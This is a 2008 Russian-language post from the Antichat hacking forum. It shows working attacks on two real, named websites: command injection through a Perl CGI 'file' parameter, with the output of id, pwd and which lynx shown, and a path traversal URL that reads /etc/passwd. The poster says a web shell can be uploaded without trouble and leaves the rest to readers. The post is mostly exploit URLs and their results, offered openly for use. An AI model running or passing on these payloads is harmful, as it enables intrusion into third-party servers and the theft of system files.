17.12.2008, 02:08
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
С нами:
9389186
Репутация:
573
|
|
Атака по перлам
Бажный perl скрипт на японском ресурсе.
Код:
http://tsukuba3.net/cgi-bin/albm.cgi?file=|id|
uid=1170(chicappa.jp-tsukuba3) gid=1000(ChicappaUser) groups=1000(ChicappaUser)
Код:
http://tsukuba3.net/cgi-bin/albm.cgi?file=|pwd|
/home/sites/chicappa.jp/users/chicappa.jp-tsukuba3/web/cgi-bin
Код:
http://tsukuba3.net/cgi-bin/albm.cgi?file=|which%20lynx|
/usr/bin/lynx
lyns присутствует(wget'a нету). Шелл заливается без проблем. Выкладывать не буду.
Кому надо сам зальет.
ещё нашел.
Код:
http://data.ccarnet.org/cgi-bin/respdisp.pl?file=../../../../../../../../../../../etc/passwd
Последний раз редактировалось The matrix; 17.12.2008 в 03:10..
|
|
|